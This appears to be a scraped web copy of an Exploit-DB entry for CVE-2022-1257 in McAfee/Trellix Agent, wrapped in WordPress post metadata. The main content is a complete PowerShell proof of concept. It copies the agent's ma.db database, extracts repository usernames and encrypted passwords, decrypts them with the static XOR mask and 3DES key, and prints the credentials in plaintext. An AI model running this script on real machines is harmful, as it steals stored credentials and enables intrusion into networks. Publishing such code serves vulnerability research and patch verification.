\nExploit Title: McAfee Agent 5.7.6 – Insecure Storage of Sensitive Information
\n
Date: 24 June 2025
\n
Exploit Author: Keenan Scott
\n
Vendor Homepage: hxxps[:\/\/]www[.]mcafee[.]com\/
\n
Software Download: N\/A (Unable to find)
\n
Version: < 5.7.6\n
Tested on: Windows 11
\n
CVE: CVE-2022-1257<\/p>\n
<#\n
.SYNOPSIS
\n
Dump and decrypt encrypted Windows credentials from Trellix Agent Database (“C:\\ProgramData\\McAfee\\Agent\\DB\\ma.db”) – PoC for CVE-2022-1257. Made by scottk817<\/p>\n
.DESCRIPTION
\n
This script demonstrates exploitation of CVE-2022-1257, a vulnerability in McAfee’s Trellix Agent Database where attackers can retrieve and decrypt credentials from the `ma.db` database file.<\/p>\n
.LINK
\n
https:\/\/nvd.nist.gov\/vuln\/detail\/cve-2022-1257
\n
https:\/\/github.com\/funoverip\/mcafee-sitelist-pwd-decryption\/blob\/master\/mcafee_sitelist_pwd_decrypt.py
\n
https:\/\/mrd0x.com\/abusing-mcafee-vulnerabilities-misconfigurations\/
\n
https:\/\/tryhackme.com\/room\/breachingad<\/p>\n
.OUTPUTS
\n
CSV in stdOut:
\n
Username,Password
\n
#><\/p>\n
# Arguments
\n
[CmdletBinding()]
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param (
\n
[string]$DbSource = ‘C:\\ProgramData\\McAfee\\Agent\\DB\\ma.db’,
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[string]$TempFolder = $env:TEMP
\n
)<\/p>\n
### Initialize use of WinSQLite3 ###
\n
$cls = “WinSQLite_{0}” -f ([guid]::NewGuid().ToString(‘N’))<\/p>\n
$code = @”
\n
using System;
\n
using System.Runtime.InteropServices;<\/p>\n
public static class $cls
\n
{
\n
public const int SQLITE_OK = 0;
\n
public const int SQLITE_ROW = 100;<\/p>\n
[DllImport(“winsqlite3.dll”, CallingConvention = CallingConvention.Cdecl)]
\n
public static extern int sqlite3_open_v2(
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[MarshalAs(UnmanagedType.LPStr)] string filename,
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out IntPtr db,
\n
int flags,
\n
IntPtr vfs
\n
);<\/p>\n
[DllImport(“winsqlite3.dll”, CallingConvention = CallingConvention.Cdecl)]
\n
public static extern int sqlite3_close(IntPtr db);<\/p>\n
[DllImport(“winsqlite3.dll”, CallingConvention = CallingConvention.Cdecl)]
\n
public static extern int sqlite3_prepare_v2(
\n
IntPtr db, string sql, int nByte,
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out IntPtr stmt, IntPtr pzTail
\n
);<\/p>\n
[DllImport(“winsqlite3.dll”, CallingConvention = CallingConvention.Cdecl)]
\n
public static extern int sqlite3_step(IntPtr stmt);<\/p>\n
[DllImport(“winsqlite3.dll”, CallingConvention = CallingConvention.Cdecl)]
\n
public static extern IntPtr sqlite3_column_text(IntPtr stmt, int col);<\/p>\n
[DllImport(“winsqlite3.dll”, CallingConvention = CallingConvention.Cdecl)]
\n
public static extern int sqlite3_finalize(IntPtr stmt);
\n
}
\n
“@<\/p>\n
# SQL statement to retrieve usersnames and encrypted passwords from ma.db
\n
$sql = @”
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SELECT AUTH_USER, AUTH_PASSWD
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FROM AGENT_REPOSITORIES
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WHERE AUTH_PASSWD IS NOT NULL;
\n
“@<\/p>\n
Add-Type -TypeDefinition $code -PassThru | Out-Null
\n
$type = [type]$cls<\/p>\n
### Decode and Decrypt ###
\n
# Function to decode, and decrypt the credentials found in the DB using the static keys used for every Trellix agent.
\n
function Invoke-McAfeeDecrypt {
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param([string]$B64)<\/p>\n
[byte[]]$mask = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,
\n
0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19
\n
[byte[]]$buf = [Convert]::FromBase64String($B64.Trim())
\n
for ($i = 0; $i -lt $buf.Length; $i++) {
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$buf[$i] = $buf[$i] -bxor $mask[$i % $mask.Length]
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}<\/p>\n
$sha = [System.Security.Cryptography.SHA1]::Create()
\n
[byte[]]$key = $sha.ComputeHash([Text.Encoding]::ASCII.GetBytes(““)) + (0..3 | ForEach-Object { 0 })<\/p>\n
$tdes = [System.Security.Cryptography.TripleDES]::Create()
\n
$tdes.Mode = ‘ECB’
\n
$tdes.Padding = ‘None’
\n
$tdes.Key = $key
\n
[byte[]]$plain = $tdes.CreateDecryptor().TransformFinalBlock($buf, 0, $buf.Length)<\/p>\n
$i = 0
\n
while ($i -lt $plain.Length -and $plain[$i] -ge 0x20 -and $plain[$i] -le 0x7E) {
\n
$i++
\n
}
\n
if ($i -eq 0) { return ” }
\n
[Text.Encoding]::UTF8.GetString($plain, 0, $i)
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}<\/p>\n
### Copy ma.db ###
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# Copy ma.db over to temp directory add GUID incase it already exists there.
\n
$tmp = Join-Path $TempFolder (“ma_{0}.db” -f ([guid]::NewGuid()))
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Copy-Item -LiteralPath $DbSource -Destination $tmp -Force<\/p>\n
### Pull records ###
\n
$dbPtr = [IntPtr]::Zero
\n
$stmtPtr = [IntPtr]::Zero
\n
$flags = 1
\n
$rc = $type::sqlite3_open_v2($tmp, [ref]$dbPtr, $flags, [IntPtr]::Zero)<\/p>\n
if ($rc -ne $type::SQLITE_OK) {
\n
$msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
\n
$type::sqlite3_errmsg($dbPtr))
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Throw “sqlite3_open_v2 failed (code $rc) : $msg”
\n
}<\/p>\n
$rc = $type::sqlite3_prepare_v2($dbPtr, $sql, -1, [ref]$stmtPtr, [IntPtr]::Zero)<\/p>\n
if ($rc -ne $type::SQLITE_OK) {
\n
$msg = [Runtime.InteropServices.Marshal]::PtrToStringAnsi(
\n
$type::sqlite3_errmsg($dbPtr))
\n
$type::sqlite3_close($dbPtr) | Out-Null
\n
Throw “sqlite3_prepare_v2 failed (code $rc) : $msg”
\n
}<\/p>\n
$buffer = [System.Collections.Generic.List[string]]::new()
\n
while ($type::sqlite3_step($stmtPtr) -eq $type::SQLITE_ROW) {
\n
$uPtr = $type::sqlite3_column_text($stmtPtr, 0)
\n
$pPtr = $type::sqlite3_column_text($stmtPtr, 1)<\/p>\n
$user = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($uPtr)
\n
$pass = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($pPtr)<\/p>\n
if ($user -and $pass) {
\n
$buffer.Add(“$user,$pass”)
\n
}
\n
}<\/p>\n
### Cleanup ###
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# Finish and close SQL
\n
$type::sqlite3_finalize($stmtPtr) | Out-Null
\n
$type::sqlite3_close($dbPtr) | Out-Null<\/p>\n
# Delete the ma.db file copied to the temp file
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Remove-Item $tmp -Force -ErrorAction SilentlyContinue<\/p>\n
### Process encrypted credentials ###
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# For each row of credentials decrypt them and print plaintext to standard out.
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foreach ($line in $buffer) {
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$rec = $line -split ‘,’, 2
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if ($rec.Length -eq 2) {
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$username = $rec[0]
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try {
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$password = Invoke-McAfeeDecrypt $rec[1]
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} catch {
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$password = “[DECRYPT-ERROR] $_”
\n
}
\n
“Username,Password”
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“$username,$password”
\n
}
\n
}\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title McAfee Agent 5.7.6 – Insecure Storage of Sensitive Information Exploit ID EDB-ID:52345 Type exploitdb Published 2025-06-26T00:00:00 Modified 2025-06-26T00:00:00 CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,31,12,40,21,13,7,11,5],"class_list":["post-7316","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-61","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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